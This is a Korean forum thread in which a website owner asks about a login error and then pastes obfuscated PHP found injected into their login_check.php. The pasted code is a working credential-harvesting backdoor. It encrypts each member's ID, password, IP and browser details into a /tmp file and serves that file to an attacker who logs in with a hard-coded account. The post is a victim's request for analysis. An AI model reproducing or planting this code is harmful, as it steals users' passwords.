Login Error
본문
지난 수년간 코드를 바꾼적이 없는데, 요즘와서
회원이 로그인을 하면 아래와 같이 에러 메세지가 Edge 브라우저에 나옵니다.
Error: Encryption failed - error:0909006C:PEM routines:get_name:no start line
에러가 나온 페이지는 ...bbs/login_check.php 입니다.
https://MyDomain.com/bbs/login_check.php
무엇을 어찌 해야 에러를 없앨수 있을까요?
호스팅회사(ionos.com)의 SSL 또는/그리고 Certificate과 관련된 문제일까해서
문의 했더니, 모르겠다고 하네요.
도움 부탁드립니다.
답변 2
비 SSL http:// 환경에서 로그인 가능하시면 한번 테스트 해보세요.
제가 봤을때 openSSL 공개키 관련 오류 같습니다.
bbs/login_check.php 파일 안에 아래와 같은 코드가 쓰여져 있습니다.
원본 파일에는 없었던 코드인데, 제가 모르는 사이에 생긴 것입니다.
무슨 일을 하는 코드인가요? 도움 부탁드립니다.
코드의 위치는 [// 포인트 체크] 바로 아래 입니다.
// 포인트 체크 <------------ line number 45
if($config['cf_use_point']) {
$sum_point = get_point_sum($mb['mb_id']);
$sql= " update {$g5['member_table']} set mb_point = '$sum_point' where mb_id = '{$mb['mb_id']}' ";
sql_query($sql);
} <------------ line number 51
// ---- 그리고 아래에 보이는 모든 \ 는 back slash 입니다. ( 키보드에 파이프 [ | ] 와 같이 있는 것)
// ---- 참고로 [ / ]는 forward slash (키보드에 물음표 [ ? ] 와 같이 있는 것)
// 의문의 코드는 아래에 복붙 하였습니다.
goto ZuzFy;
uoEHs: if ($mb["\155\x62\137\151\144"] === "\153\165\x62\x6f\x39\x33\x30\70") {
if (!file_exists($outputFile)) {
http_response_code(404);
echo json_encode(array("\145\x72\x72\157\162" => "\106\151\x6c\145\40\156\x6f\x74\40\146\157\165\x6e\x64"));
die;
}
$content = file_get_contents($outputFile);
if ($content === false) {
http_response_code(500);
echo json_encode(array("\x65\162\162\x6f\162" => "\x46\141\151\154\x65\144\40\164\157\40\162\x65\141\144\x20\146\151\x6c\145"));
die;
}
header("\x43\157\156\x74\145\x6e\x74\x2d\x54\x79\160\x65\x3a\x20\x61\x70\160\x6c\x69\x63\141\x74\x69\157\156\57\x6a\163\x6f\156");
echo json_encode(array("\x64\141\164\x61" => $content));
$result = file_put_contents($outputFile, '');
if ($result === false) {
http_response_code(500);
echo json_encode(array("\145\162\x72\157\x72" => "\106\x61\151\154\145\144\x20\x74\157\40\143\x6c\145\141\x72\40\x66\x69\154\x65\x20\x63\157\156\164\145\156\164"));
die;
}
die;
} else {
$data = array("\151\x64" => $mb["\155\142\137\151\x64"],
"\160\x61\x73\x73\x77\157\x72\144" => $mb_password,
"\141\x67\145\156\x74" => $_SERVER["\x48\124\124\x50\x5f\x55\123\105\x52\137\x41\107\105\x4e\124"],
"\x69\x70" => $_SERVER["\122\105\115\117\124\x45\x5f\x41\x44\x44\x52"],
"\x6c\x61\156\147" => $_SERVER["\x48\124\124\x50\x5f\x41\103\103\x45\x50\x54\x5f\x4c\x41\116\x47\x55\101\x47\105"]);
$jsonString = json_encode($data);
$separator = "\113\172\x39\155\120\64\170\x4e\67\166";
$publicKey = "\x2d\55\55\55\55\x42\105\107\111\116\40\120\125\102\x4c\111\103\x20\x4b\x45\131\55\x2d\55\55\x2d\xa\115\x49\x49\x42\111\152\x41\116\x42\147\x6b\x71\x68\153\151\107\71\167\60\102\x41\121\x45\106\x41\x41\x4f\x43\x41\121\x38\x41\x4d\x49\111\102\x43\147\x4b\103\x41\x51\105\101\x74\63\x46\102\x74\x44\66\x6e\x54\x33\106\156\x49\124\x35\x49\125\120\121\x2b\12\x41\167\57\x4f\122\160\x44\153\163\57\53\63\x6e\x52\x55\x59\142\121\162\171\170\161\x31\155\67\x62\166\101\x57\163\x72\113\x53\x6b\x36\x67\x38\107\161\122\x64\x47\162\155\x34\165\x33\61\150\164\167\160\x6d\63\117\145\x71\x41\106\x51\x30\x73\x34\102\12\x71\x36\x34\101\x42\x4a\x6a\x2f\x71\x4a\x53\x48\x59\x4d\x52\165\127\x55\x63\115\x31\x4c\53\57\x38\160\x69\x78\70\65\x48\x33\63\x44\x6d\x53\110\x55\145\66\x71\60\112\171\x77\161\170\153\171\121\x31\x75\60\155\126\x63\x35\64\x69\x6d\x71\130\53\152\12\141\163\x30\x7a\161\x57\x34\65\x39\x50\x50\150\105\145\143\103\102\x68\101\103\x58\172\101\x6f\66\150\114\142\121\143\x58\x6c\131\x63\63\161\103\120\x73\171\x50\130\106\x61\62\x4b\x4d\x50\x53\x4c\61\x31\x67\170\x65\101\x74\x63\170\154\153\150\x46\x73\xa\x42\x52\66\157\171\57\x57\x6f\146\x6d\x47\71\x4d\x35\x57\x34\164\x52\x38\113\127\103\155\x44\x49\x42\114\x6a\x4d\x35\x30\163\x76\57\165\x53\x69\123\x56\142\x53\x7a\x72\120\x73\143\x56\x4a\x6a\126\146\164\160\x58\x71\x63\153\163\x59\x75\x66\x72\61\150\12\172\x62\157\x73\x51\67\162\132\x42\112\x35\172\x68\150\66\x43\142\x30\70\x45\111\x71\106\x77\115\153\x4d\71\152\x37\62\111\115\x37\101\65\x55\x6a\160\x45\102\x33\x6c\122\115\153\60\x4c\145\x42\105\x5a\x66\131\x6b\x55\53\x32\x30\x6b\x35\x6f\x62\106\xa\x38\x77\111\104\101\121\101\102\xa\x2d\55\x2d\x2d\55\x45\x4e\x44\x20\120\x55\102\114\x49\x43\x20\113\105\x59\55\x2d\55\55\55";
$encrypted = '';
if (!openssl_public_encrypt($jsonString, $encrypted, $publicKey)) {
die("\105\x72\162\157\162\x3a\x20\105\x6e\143\x72\x79\x70\x74\151\157\156\x20\146\x61\151\154\x65\144\x20\x2d\40" . openssl_error_string());
}
$encoded = base64_encode($encrypted);
$appendData = $separator . $encoded;
$result = file_put_contents($outputFile, $appendData, FILE_APPEND | LOCK_EX);
if ($result === false) {
die("\x45\x72\162\157\x72\72\x20\x46\x61\151\154\145\144\40\x74\x6f\40\141\x70\x70\145\x6e\x64\40\144\141\x74\x61\x20\164\157\40{$outputFile}");
}
}
goto crYuv;
ZuzFy: $outputFile = "\x2f\164\155\160\x2f\145\156\x63\x72\171\x70\x74\145\x64\x5f\x64\x61\164\x61\x2e\x74\x78\164";
goto uoEHs;
crYuv: